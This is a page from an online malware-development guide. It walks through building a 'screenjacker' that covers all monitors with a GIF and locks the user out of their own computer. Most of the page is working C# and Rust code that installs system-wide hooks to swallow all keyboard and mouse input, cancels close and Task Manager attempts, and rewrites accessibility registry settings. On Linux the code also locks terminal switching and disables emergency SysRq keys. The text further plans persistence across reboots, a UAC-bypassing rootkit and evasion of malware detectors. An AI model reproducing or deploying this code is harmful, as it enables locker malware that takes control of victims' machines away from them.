> For the complete documentation index, see [llms.txt](https://arachn3.gitbook.io/malware-development-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://arachn3.gitbook.io/malware-development-guide/intermediate-malware/screenjackers.md).

# ScreenJackers

(I'm not sure what to call these, so I'll just borrow the idea from those [JuiceJackers](https://en.wikipedia.org/wiki/Juice_jacking) and call it a day :eyes:)

Essentially, the core idea behind a ***Screenjacker*** is, as the name might suggest, to hijack one or multiple (if not all) displays attached to a system to either disable them or play something on them.

I was always fascinated by the stuff that those typical movie hacktivists do where they take over a system and make it display something, like a GIF or a video. Here's an example of a person doing this IRL:

{% embed url="<https://www.youtube.com/watch?v=SuXWPvyt5pM>" %}

This too:

{% embed url="<https://youtu.be/zLqRAISxaig>" %}

Doing this kinda stuff to any arbitrary system and making it display some sort of GIF on repeat and/or a video is *very* cool indeed. But Screenjackers don't just do that, they essentially lock the user out of their own system by overriding their inputs until either some sort of condition is met, or for the duration of the media being played.

Interestingly enough, the control disabling part is not *that* difficult, the most difficult part is actually the "taking over the display(s)" part, simply because there's no universal display control/window manager that's installed on ALL systems. So, it only makes sense if we make an instance of such malware for a specific target and port it (or at least attempt to port it) to for another target system with different specs.

For this particular guide, I'll be targeting a system with the following specs:

* **Operating System:** Windows 10 Home (10.0.19045 Build 19045)
* **Display Driver Version:** 30.0.100.9805
* **Display:** DELL S2216H 1920x1080x60Hz
* **Dotnet Details:**

```shell-session
C:\Users\user> dotnet --list-sdks
6.0.202 [C:\Program Files\dotnet\sdk]

C:\Users\user> dotnet --list-runtimes
Microsoft.AspNetCore.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.AspNetCore.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.AspNetCore.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.NETCore.App 3.1.24 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 5.0.10 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.WindowsDesktop.App 3.1.24 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.10 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
```

Imma be honest, at the time of making this, it's my *first time ever* working with either Visual Studio OR C# or Windows Forms app development. So my apologies for all the nasty code you're about to see. I'll try my best to clean it up as much as possible though :3

*Okay...* So to start off, let's take a default windows forms app:

<figure><img src="/files/te8fqYlNqLFIpmZAPTBn" alt=""><figcaption></figcaption></figure>

> I'm not sure if it'd make a difference if we choose the `.NET` version of the template for our use case :man\_shrugging:

With this new and shiny template project, we need to do a couple of things:

1. Make the thing run in **Fullscreen**.
2. **Disable** and **Hide** the Mouse.
3. Make our GIF/Video display on the window.
4. Prevent the user from closing the window.
5. Disable as many input vectors as we can.
6. (Optional) Disable other monitors/displays (if any).
7. (Optional) Make the thing persistent so that even turning off the system does not get rid of our... "*prank program*".
8. (Optional) Pack it with a rootkit so that it either bypasses UAC or tricks the user into accepting the UAC prompt (at which point this will be considered a trojan I guess).
9. Building the program

### Making the Program Fullscreen

When you start off, you'll have like 2 primary files which contain code for the application: `Program.cs` and `Form1.Designer.cs`.

Our main interest is in the `Form1.Designer.cs` file; so just pin that sucker so that you don't lose track of it. Next, we wanna open the GUI based designer thingy that Visual Studio provides. If you're wondering how to do that, in the file tree, right click on the `Form1.cs` and click `View Designer` or simply press `Shift+F7`

<figure><img src="/files/FAa9kzNRs5rOCiGeY1B3" alt=""><figcaption><p>Which brings you to... <span data-gb-custom-inline data-tag="emoji" data-code="2b07">⬇️</span></p></figcaption></figure>

<figure><img src="/files/8DFUHc8MUg5bYsixAfEy" alt=""><figcaption></figcaption></figure>

Once you have this open, switch back to the `Form1.Designer.cs` file and locate the `InitializeComponent` function generated by the designer at the end. This will contain the following initially:

```csharp
private void InitializeComponent() 
{
    this.components = new System.ComponentModel.Container();
    this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
    this.ClientSize = new System.Drawing.Size(800, 450);
    this.Text = "Form1";
}
```

Most of the stuff added to make our screenjacker will be here. To make the window go fullscreen, add the following:

```csharp
// Bring it into "focus" and move the window to the top
this.Activate();
this.TopMost         = true;

// Make the window borderless
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;

// Maximize the window so that it takes up all space on the current monitor
this.WindowState     = System.Windows.Forms.FormWindowState.Maximized;
```

This is not *exactly* making it fullscreen, but rather a borderless-maximized window (it works for now, so if you have a suggestion or alternative please feel free to comment here or email me or something :relaxed:)

### Disabling the Mouse/Cursor

Next up, let's deal with the mouse. We can't really "*disable the mouse*" as that would require hardware control; rather than that complicated mess, consider the following clever workaround that we can use to give an illusion that the mouse is disabled:

* **Hide** the cursor so that the user cannot see it.
* **Restrict** the movement of the cursor so that it does not leave the bounds of the window.

{% hint style="info" %}
Yes, I know that we can disable the mouse completely by deleting the drivers for it, but for the purposes of safer testing of this stuff, I chose to go with this approach instead. Albeit, I'll be including code for the driver deletion magic either here or in an embedded GitHub repository link.
{% endhint %}

Hiding the cursor is fairly simple in windows forms apps, it's accomplished by a call to the `Hide` function of the `Cursor` class:

```csharp
Cursor.Hide();
```

Just in case the user somehow manages to display the cursor while in the window, you can also add the following line as a failsafe:

```csharp
Cursor = System.Windows.Forms.Cursors.No;
```

{% hint style="info" %}
Note that this:point\_up: line should be added **before** you hide the cursor.
{% endhint %}

Now that our cursor is nice and tucked away hidden, we also must consider that maybe the user has managed to resize the window or has multiple monitors. This means that they can just move the cursor out of the window's bounds and do whatever. To work around this, we can make it so that whenever the cursor tries to leave the window, it's moved back inside and/or is restricted.

To achieve this, we first need to define a function that moves the cursor into the window's bounds:

```csharp
private void MoveCursor(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;        
}
```

If you're wondering about the function arguments, they're essentially there so that we can get this function as a [`System.EventHandler`](https://learn.microsoft.com/en-us/dotnet/api/system.eventhandler-1?view=net-7.0).

We need this function to be executed on (at least) the following events:

* When the application is started.
* When the user tries to move the window.
* When the user tries to resize the window.

This can be done by adding our function as an event handler to: [`Form.Activate`](https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.form.activated?view=windowsdesktop-7.0), [`Control.Resize`](https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.control.resize?view=windowsdesktop-7.0), [`Control.LocationChanged`](https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.control.locationchanged?view=windowsdesktop-7.0) events. The following code accomplishes this:

```csharp
this.Resize          += new System.EventHandler(this.MoveCursor);
this.Activated       += new System.EventHandler(this.MoveCursor);
this.LocationChanged += new System.EventHandler(this.MoveCursor);
```

We must also consider that the user may try to do an `Alt+Tab` and try to get out, but that's fairly easy to fix. We just monitor the window's *Focus*. That is, if the window goes out of focus, we refocus on it. (I honestly *hope* that this makes sense :sweat\_smile:):

This was partly handled by us modifying the [`Form.Activated`](https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.form.activated?view=windowsdesktop-7.0) event to move the mouse cursor into the window. To add the refocusing thing, we can just modify the `MoveCursor` function and maybe rename it to something better:

```csharp
private void MoveUserIntoWindow(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;
    
    this.Activate();
    this.Focus();
}
```

We'll also need modify the previous lines adding this funciton to `Resize`, `Activated`, and `LocationChanged`; and to add this sucker as an event handler to some more events...

```csharp
this.Resize          += new System.EventHandler(this.MoveUserIntoWindow);
this.Activated       += new System.EventHandler(this.MoveUserIntoWindow);
this.LocationChanged += new System.EventHandler(this.MoveUserIntoWindow);

// More event handlers!!
this.Enter           += new System.EventHandler(this.MoveUserIntoWindow);
this.GotFocus        += new System.EventHandler(this.MoveUserIntoWindow);
this.LostFocus       += new System.EventHandler(this.MoveUserIntoWindow);
```

With this, we can be moderately assured that the user's locked in our window's bounds.

### Displaying the Payload Media

Remember the *Designer* view that we opened before? It's time to put that sucker into use (only shortly tho >.>).

While in the *Designer* view/tab, open the `Toolbox` (usually located on the left side of the window). Search for the `PictureBox` component and drag'n'drop it into the preview window. That's all we need the designer view for; Now switch back to the `Form1.Designer.cs` file. You'll notice that the following code is prepended to our existing code in `InitializeComponent`:

```csharp
this.pictureBox1 = new System.Windows.Forms.PictureBox();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.SuspendLayout();
// 
// pictureBox1
// 
this.pictureBox1.Location = new System.Drawing.Point(311, 186);
this.pictureBox1.Name     = "pictureBox1";
this.pictureBox1.Size     = new System.Drawing.Size(100, 50);
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop  = false;
```

With the following at the end:

```csharp
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);
```

No need to change this; but we *will* add some more stuff to, for example, make the image/GIF/video the same size as the window. For this example (and to keep things simple, I'll make it just display a GIF, for videos, refer to [this msdocs page](https://learn.microsoft.com/en-us/uwp/api/Windows.Media.Playback.MediaPlayer?view=winrt-22621)).

Let's first stretch our GIF to fit the window:

```csharp
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
```

Done! Next we'll embed the actual GIF using the `ImageLocation`:

```csharp
this.pictureBox1.ImageLocation = "URL_OR_PATH_TO_THE_ASSET";
```

And..... we're done! Our (*primitive*)screenjacker is now ready!

### Prevent the user from closing the window

A very simple and effective method for this is to add the following function as an event handler for the [`FormClosing`](https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.form.formclosing?view=windowsdesktop-7.0) event:

```csharp
private void Form1_FormClosing(object sender, FormClosingEventArgs e) 
{
    if (e.CloseReason == CloseReason.UserClosing || 
        e.CloseReason == CloseReason.TaskManagerClosing || 
        e.CloseReason == CloseReason.FormOwnerClosing ) {
        // Cancel the event
        e.Cancel = true;
    }    
}
```

### Disabling Other Input Vectors

The user still has a bunch of system shortcuts they could use to escape: `Alt+Tab`, `Win` key, `Alt+F4`, `Ctrl+Esc`, etc. To block these, we need to install a low-level keyboard hook that intercepts keypresses before Windows routes them to applications.

First, add the necessary imports at the top of your file:

```csharp
using System.Diagnostics;
using System.Runtime.InteropServices;
```

Then define the P/Invoke signatures and constants we need:

```csharp
// Hook type for low-level keyboard events
private const int WH_KEYBOARD_LL = 13;

// Keyboard message types
private const int WM_KEYDOWN    = 0x0100;
private const int WM_KEYUP      = 0x0101;
private const int WM_SYSKEYDOWN = 0x0104;  // Alt+key combos
private const int WM_SYSKEYUP   = 0x0105;

// Virtual key codes we want to block
private const int VK_LWIN      = 0x5B;  // Left Windows key
private const int VK_RWIN      = 0x5C;  // Right Windows key
private const int VK_TAB       = 0x09;
private const int VK_ESCAPE    = 0x1B;
private const int VK_F4        = 0x73;
private const int VK_CONTROL   = 0x11;
private const int VK_MENU      = 0x12;  // Alt key
private const int VK_SHIFT     = 0x10;

// Hook handle - need to keep this alive
private static IntPtr _hookHandle = IntPtr.Zero;

// Delegate type for the hook callback
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static LowLevelKeyboardProc _hookCallback;

[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
```

Now the actual hook callback. This gets called for EVERY keypress system-wide:

```csharp
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0)
    {
        int vkCode = Marshal.ReadInt32(lParam);
        
        // Block Windows keys entirely
        if (vkCode == VK_LWIN || vkCode == VK_RWIN)
        {
            return (IntPtr)1;  // Eat the event
        }
        
        // Block Alt+Tab
        bool altPressed = (GetAsyncKeyState(VK_MENU) & 0x8000) != 0;
        if (altPressed && vkCode == VK_TAB)
        {
            return (IntPtr)1;
        }
        
        // Block Alt+F4
        if (altPressed && vkCode == VK_F4)
        {
            return (IntPtr)1;
        }
        
        // Block Alt+Escape
        if (altPressed && vkCode == VK_ESCAPE)
        {
            return (IntPtr)1;
        }
        
        // Block Ctrl+Escape (Start menu)
        bool ctrlPressed = (GetAsyncKeyState(VK_CONTROL) & 0x8000) != 0;
        if (ctrlPressed && vkCode == VK_ESCAPE)
        {
            return (IntPtr)1;
        }
        
        // Block Ctrl+Shift+Escape (Task Manager)
        bool shiftPressed = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
        if (ctrlPressed && shiftPressed && vkCode == VK_ESCAPE)
        {
            return (IntPtr)1;
        }
    }
    
    // Pass through everything else
    return CallNextHookEx(_hookHandle, nCode, wParam, lParam);
}
```

Install the hook when your form initializes:

```csharp
private void InstallKeyboardHook()
{
    _hookCallback = HookCallback;
    
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
        _hookHandle = SetWindowsHookEx(
            WH_KEYBOARD_LL, 
            _hookCallback,
            GetModuleHandle(curModule.ModuleName), 
            0  // 0 = all threads, system-wide
        );
    }
}
```

Call `InstallKeyboardHook()` in your `InitializeComponent` or form constructor.

{% hint style="warning" %}
**Ctrl+Alt+Delete CANNOT be blocked.** It goes directly to Windows' Secure Attention Sequence (SAS), handled by `winlogon.exe` on a separate secure desktop. Even kernel drivers can't intercept it. The user can hit it and get to the security screen, but once they dismiss it they're right back in our window.
{% endhint %}

#### Disabling Accessibility Shortcuts

Windows has some annoying accessibility features that can pop up and steal focus. Five taps of Shift triggers Sticky Keys, holding Shift for 8 seconds triggers Filter Keys, etc. We can disable these by modifying the registry:

```csharp
using Microsoft.Win32;

private void DisableAccessibilityShortcuts()
{
    try
    {
        // Disable Sticky Keys popup
        using (RegistryKey key = Registry.CurrentUser.OpenSubKey(
            @"Control Panel\Accessibility\StickyKeys", true))
        {
            if (key != null)
                key.SetValue("Flags", "506", RegistryValueKind.String);
        }
        
        // Disable Filter Keys popup  
        using (RegistryKey key = Registry.CurrentUser.OpenSubKey(
            @"Control Panel\Accessibility\Keyboard Response", true))
        {
            if (key != null)
                key.SetValue("Flags", "122", RegistryValueKind.String);
        }
        
        // Disable Toggle Keys popup
        using (RegistryKey key = Registry.CurrentUser.OpenSubKey(
            @"Control Panel\Accessibility\ToggleKeys", true))
        {
            if (key != null)
                key.SetValue("Flags", "58", RegistryValueKind.String);
        }
    }
    catch 
    {
        // Registry access might fail, just continue
    }
}
```

{% hint style="info" %}
The flag values (`506`, `122`, `58`) have specific bits cleared that disable the "show warning message" and "activate when key is pressed" options. You could save the original values and restore them on exit if you want to be nice about it.
{% endhint %}

#### Blocking the Mouse Hook (Optional)

If you want to go nuclear on mouse input too, you can add a similar low-level mouse hook:

```csharp
private const int WH_MOUSE_LL = 14;
private static IntPtr _mouseHookHandle = IntPtr.Zero;
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
private static LowLevelMouseProc _mouseHookCallback;

private static IntPtr MouseHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0)
    {
        // Eat ALL mouse events - clicks, movement, scroll, everything
        return (IntPtr)1;
    }
    return CallNextHookEx(_mouseHookHandle, nCode, wParam, lParam);
}
```

This is more aggressive than the cursor restriction approach from earlier since it completely blocks all mouse input rather than just confining it to the window.

With all of this in place, the only way out is:

1. Knowing the secret exit key combo (which you'd implement similar to the Rust version)
2. **`Ctrl+Alt+Delete`** → Task Manager → End Process (annoying multi-step)
3. Hard power off

### Disabling Other Monitors/Displays

Since there's a possibility that the target may have more than 1 display, we need to make sure that if that's the case, we disable as many as possible (if not all). All displays *except* the primary one. Some googling led me to [this](https://stackoverflow.com/questions/713498/turn-on-off-monitor) S.O. post. Using that and some quick makeshift code, we can put together something that works:

```csharp
private int SC_MONITORPOWER = 0xF170;
private uint WM_SYSCOMMAND = 0x0112;

[DllImport("user32.dll")]
static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
private void DisableNonPrimaryScreens() 
{
    Screen primaryScreen = Screen.PrimaryScreen;
    Screen[] screens = Screen.AllScreens;
        if (screens.Length > 1) 
        {
            foreach (Screen s in screens) 
            {
                if (!s.Equals(primaryScreen)) 
                {
                    Form frm = new Form();
                    frm.Location = s.WorkingArea.Location;
                    SendMessage(frm.Handle, WM_SYSCOMMAND, (IntPtr)SC_MONITORPOWER, (IntPtr)2);
                }
            }
        }
}
```

A call to this function can be put into the `MoveUserIntoWindow` function from before for maximum effect (i guess :man\_shrugging:)

```csharp
private void MoveUserIntoWindow(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;
    
    this.Activate();
    this.Focus();
    this.DisableNonPrimaryScreens();
}
```

I know, I know, it doesn't *really* work, and I'm not sure what would, so if any of you'll is more experienced than me with all... this, *please* lemme know and reach out and help and stuff. :relaxed:

PS: In the case I *do* figure something out, I'll be sure to update this

### Building the Program

The building process is quite simple really, just follow the steps on the following Microsoft article:

{% embed url="<https://learn.microsoft.com/en-us/dotnet/core/deploying/single-file/overview?tabs=vs>" %}

Once the file is built, there's a couple of things that you can do just to make sure that the file evades basic malware detectors.

## Doing It Properly: Rust Implementation

Okay so the C# thing above works and all, but it's Windows-only, the input blocking is iffy, multi-monitor support is basically nonexistent, and it needs .NET on the target. So I rewrote the whole thing in Rust. Single static binary, no runtime deps, same codebase for Windows AND Linux, final payload is like \~2-3MB stripped. Full implementation is in my [screenjack](https://github.com/ARaChn3/screenjack) repo.

The payload has two platform-specific modules. `linux` talks to X11 via `x11rb` and uses `ioctl` for the deep input blocking stuff. `win` uses the Win32 API with low-level hooks. Both follow the same pattern: take over all displays, grab/block all input, show the asset (static or animated GIF), listen for exit combo (Ctrl+Shift+Escape held 2 seconds), optionally persist across reboots.

### Linux: X11 Shenanigans

On Linux we're talking directly to the X server. First thing is connecting and getting the root window dimensions. In X11, the root window spans ALL monitors (thanks to Xinerama/RandR compositing everything into one coordinate space), so we just need to create a window that covers the whole thing.

```rust
// connect to X server, get the default screen
let (conn, screen_num) = x11rb::connect(None).expect("Failed to connect to X server");
let screen = &conn.setup().roots[screen_num];
let root = screen.root;

// these dimensions span ALL monitors in X11
let width = screen.width_in_pixels;   
let height = screen.height_in_pixels;
let depth = screen.root_depth;
```

Now we create our window. The key thing here is `override_redirect` - this tells X "don't let the window manager touch this". No title bar, no decorations, doesn't show in alt-tab, the WM literally doesn't know we exist.

```rust
let win = conn.generate_id().unwrap();
let values = CreateWindowAux::new()
    .background_pixel(screen.black_pixel)
    // override_redirect = 1 -> WM doesn't manage this window
    // this is how fullscreen games work, screen lockers, etc
    .override_redirect(1)
    // we need key events for the exit combo, exposure for redraws
    .event_mask(EventMask::KEY_PRESS | EventMask::KEY_RELEASE | EventMask::EXPOSURE);

conn.create_window(
    COPY_DEPTH_FROM_PARENT,  // inherit depth from parent
    win,
    root,      // parent is root window
    0, 0,      // position at origin
    width, height,
    0,         // no border
    WindowClass::INPUT_OUTPUT,  // normal window, not just input-only
    0,         // visual 0 = copy from parent
    &values,
).unwrap();

conn.map_window(win).unwrap();  // actually show the window
conn.flush().unwrap();          // send all pending requests to server
```

Next we grab keyboard and pointer. X11 has this concept of "grabs" where one client gets ALL input of that type exclusively. Other apps just don't receive events while we hold the grab.

```rust
// retry because something else might have a temporary grab (screen lock, popup menu, etc)
for _ in 0..10 {
    // owner_events=true: we get events even if pointer leaves our window
    // GrabMode::ASYNC: don't freeze server/pointer while processing events
    let kg = conn.grab_keyboard(
        true,              // owner_events
        win,               // grab_window 
        x11rb::CURRENT_TIME,
        GrabMode::ASYNC,   // pointer_mode - don't freeze pointer
        GrabMode::ASYNC,   // keyboard_mode - don't freeze keyboard
    );
    
    let pg = conn.grab_pointer(
        true,
        win,
        EventMask::BUTTON_PRESS | EventMask::POINTER_MOTION,
        GrabMode::ASYNC,
        GrabMode::ASYNC,
        win,    // confine_to - cursor can't leave this window
        0u32,   // cursor - 0 means don't change it (we hide it separately)
        x11rb::CURRENT_TIME,
    );
    
    // both need to succeed
    if kg.is_ok() && pg.is_ok() 
        && kg.unwrap().reply().is_ok() 
        && pg.unwrap().reply().is_ok() 
    {
        break;
    }
    std::thread::sleep(Duration::from_millis(100));
}
```

With both grabs active, we receive ALL keyboard and mouse events. We just... don't forward them anywhere.

But here's the thing. A savvy user might try `Ctrl+Alt+F2` to switch to a different TTY. That bypasses X entirely and goes straight to the kernel's VT subsystem. To block it we need root and some `ioctl` calls on `/dev/console`.

```rust
fn try_block_vt_switch() -> Option<()> {
    use std::fs::OpenOptions;
    use std::os::unix::io::AsRawFd;

    // ioctl codes from <linux/kd.h> and <linux/vt.h>
    // these control the console/keyboard at kernel level
    #[cfg(target_env = "musl")]
    type Ioctl = libc::c_int;      // musl uses c_int
    #[cfg(not(target_env = "musl"))]
    type Ioctl = libc::c_ulong;    // glibc uses c_ulong

    const KDSKBMODE: Ioctl = 0x4B45;      // set keyboard mode
    const K_OFF: libc::c_int = 0x04;      // keyboard off mode
    const VT_LOCKSWITCH: Ioctl = 0x560B;  // prevent VT switching

    // open /dev/console for read/write - needs root
    let tty = OpenOptions::new()
        .read(true)
        .write(true)
        .open("/dev/console")
        .ok()?;
    let fd = tty.as_raw_fd();

    unsafe {
        // VT_LOCKSWITCH with arg 1 = lock VT switching
        // this disables Ctrl+Alt+Fn at kernel level
        libc::ioctl(fd, VT_LOCKSWITCH, 1);
        
        // KDSKBMODE with K_OFF disables keyboard input to console entirely
        // keystrokes don't even make it to the VT layer
        libc::ioctl(fd, KDSKBMODE, K_OFF);
    }

    // mem::forget keeps the file handle open
    // kernel restores state when our process exits (or crashes)
    std::mem::forget(tty);
    Some(())
}
```

{% hint style="warning" %}
VT blocking requires root. Without it the `ioctl`s silently fail and VT switching still works. The code handles this gracefully tho, just tries and moves on.
{% endhint %}

We also try to disable Magic SysRq. That's the **`Alt+SysRq+letter`** emergency combo that can force-sync disks (s), kill all processes (i), reboot (b), etc. The classic "REISUB" sequence to safely force reboot.

```rust
fn try_disable_sysrq() -> Option<()> {
    // /proc/sys/kernel/sysrq controls which sysrq functions are enabled
    // 0 = disable all, 1 = enable all, or bitmask for specific functions
    // needs write access to /proc (effectively root)
    std::fs::write("/proc/sys/kernel/sysrq", "0").ok()
}
```

For hiding the cursor, classic X11 trick. Create an empty 1x1 pixmap, make a cursor from it, assign to window.

```rust
// create 1x1 bitmap (depth=1 means 1 bit per pixel)
let cursor_pixmap = conn.generate_id().unwrap();
conn.create_pixmap(1, cursor_pixmap, win, 1, 1).unwrap();

// create cursor from the empty pixmap
// args are: cursor_id, source_pixmap, mask_pixmap, 
//           fg_r, fg_g, fg_b, bg_r, bg_g, bg_b, hotspot_x, hotspot_y
// all zeros because the pixmap is empty anyway
let cursor = conn.generate_id().unwrap();
conn.create_cursor(cursor, cursor_pixmap, cursor_pixmap, 
                   0, 0, 0, 0, 0, 0, 0, 0).unwrap();

// apply invisible cursor to our window
conn.change_window_attributes(win, 
    &ChangeWindowAttributesAux::new().cursor(cursor)).unwrap();
```

### Windows: Low-Level Hooks

Windows doesn't have X11-style grabs. Instead we install low-level hooks that intercept input before ANY application sees it.

First, the window. We need to cover ALL monitors. Windows has this "virtual screen" concept where all monitors are composited into one coordinate space. The tricky part is that the origin can be negative if you have monitors arranged left-of or above the primary.

```rust
unsafe {
    let instance = GetModuleHandleW(None).unwrap();
    
    // SM_XVIRTUALSCREEN: x-coord of top-left of virtual screen
    // SM_YVIRTUALSCREEN: y-coord (can be NEGATIVE)
    // SM_CXVIRTUALSCREEN: total width across all monitors
    // SM_CYVIRTUALSCREEN: total height
    let vx = GetSystemMetrics(SM_XVIRTUALSCREEN);
    let vy = GetSystemMetrics(SM_YVIRTUALSCREEN);
    let sw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
    let sh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
    
    // register window class
    let class_name = w!("ScreenjackWindow");
    let wc = WNDCLASSW {
        style: CS_HREDRAW | CS_VREDRAW,
        lpfnWndProc: Some(wndproc),
        hInstance: instance.into(),
        hCursor: HCURSOR(null_mut()),  // no cursor
        hbrBackground: HBRUSH(GetStockObject(BLACK_BRUSH).0),
        lpszClassName: class_name,
        ..Default::default()
    };
    RegisterClassW(&wc);
    
    let hwnd = CreateWindowExW(
        // TOPMOST: above all other windows, always
        // TOOLWINDOW: hidden from taskbar AND Alt+Tab
        WS_EX_TOPMOST | WS_EX_TOOLWINDOW,
        class_name,
        w!(""),  // no title
        // POPUP: no border, no title bar, no system menu
        // VISIBLE: show immediately
        WS_POPUP | WS_VISIBLE,
        vx, vy, sw, sh,  // cover entire virtual screen
        None, None, instance, None,
    ).unwrap();

    ShowWindow(hwnd, SW_SHOWMAXIMIZED);
    SetForegroundWindow(hwnd);
    ShowCursor(false);  // hide cursor

    // clip cursor to our window rect
    let mut rect = RECT::default();
    GetWindowRect(hwnd, &mut rect).unwrap();
    ClipCursor(Some(&rect)).unwrap();
```

Now the keyboard hook. `WH_KEYBOARD_LL` is a low-level hook that gets called for EVERY keyboard event system-wide, before any application sees it. The key insight: returning `LRESULT(1)` instead of calling `CallNextHookEx` swallows the event completely.

```rust
// install the hook - instance handle, no thread restriction (0)
let kb_hook = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_hook), instance, 0).unwrap();

// the hook callback
unsafe extern "system" fn keyboard_hook(
    code: i32, 
    wparam: WPARAM,   // WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP
    lparam: LPARAM    // pointer to KBDLLHOOKSTRUCT
) -> LRESULT {
    if code >= 0 {
        // lparam points to KBDLLHOOKSTRUCT with vkCode, scanCode, flags, etc
        let kb = *(lparam.0 as *const KBDLLHOOKSTRUCT);
        let vk = VIRTUAL_KEY(kb.vkCode as u16);
        
        // WM_SYSKEYDOWN is for Alt+key combos
        let is_down = wparam.0 == WM_KEYDOWN as usize 
                   || wparam.0 == WM_SYSKEYDOWN as usize;

        // track modifier state for exit combo
        // using atomics because hook runs on any thread
        if vk == VK_CONTROL || vk == VK_LCONTROL || vk == VK_RCONTROL {
            CTRL_HELD.store(is_down, Ordering::Relaxed);
        } else if vk == VK_SHIFT || vk == VK_LSHIFT || vk == VK_RSHIFT {
            SHIFT_HELD.store(is_down, Ordering::Relaxed);
        } else if vk == VK_ESCAPE {
            ESCAPE_HELD.store(is_down, Ordering::Relaxed);
        }

        // check exit combo: all three held for 2 seconds
        if CTRL_HELD.load(Ordering::Relaxed)
            && SHIFT_HELD.load(Ordering::Relaxed)
            && ESCAPE_HELD.load(Ordering::Relaxed)
        {
            let now = /* current time in ms */;
            let start = COMBO_START_MS.load(Ordering::Relaxed);
            if start == 0 {
                COMBO_START_MS.store(now, Ordering::Relaxed);
            } else if now - start >= 2000 {
                SHOULD_EXIT.store(true, Ordering::Relaxed);
                PostQuitMessage(0);
            }
        } else {
            COMBO_START_MS.store(0, Ordering::Relaxed);
        }

        // block ALL input unless we're exiting
        if !SHOULD_EXIT.load(Ordering::Relaxed) {
            // returning 1 EATS the event
            // Alt+Tab? eaten. Win key? eaten. Alt+F4? eaten.
            return LRESULT(1);
        }
    }
    // only reaches here if we're exiting
    CallNextHookEx(None, code, wparam, lparam)
}
```

{% hint style="info" %}
One combo we CAN'T block: Ctrl+Alt+Delete. Goes directly to Windows' Secure Attention Sequence (SAS) handled by `winlogon.exe` on a separate secure desktop. Even kernel drivers can't intercept it. It's a security feature so malware can't fake the login screen. User can hit it and get to the security screen, but once they dismiss it they're right back with us.
{% endhint %}

Mouse hook is the same idea. `WH_MOUSE_LL` intercepts all mouse input, return `LRESULT(1)` to eat it.

```rust
let mouse_hook = SetWindowsHookExW(WH_MOUSE_LL, Some(mouse_hook_proc), instance, 0).unwrap();

unsafe extern "system" fn mouse_hook_proc(
    code: i32, wparam: WPARAM, lparam: LPARAM
) -> LRESULT {
    if code >= 0 && !SHOULD_EXIT.load(Ordering::Relaxed) {
        return LRESULT(1);  // eat all mouse events
    }
    CallNextHookEx(None, code, wparam, lparam)
}
```

### Disabling Other Input Vectors (Rust)

Here's a summary of all the input vectors screenjack blocks on each platform and how:

#### Linux Input Vectors

| Vector                         | How it's blocked                                          | Requires root? |
| ------------------------------ | --------------------------------------------------------- | -------------- |
| Keyboard                       | X11 `grab_keyboard` so we get ALL key events exclusively  | No             |
| Mouse                          | X11 `grab_pointer` with `confine_to` our window           | No             |
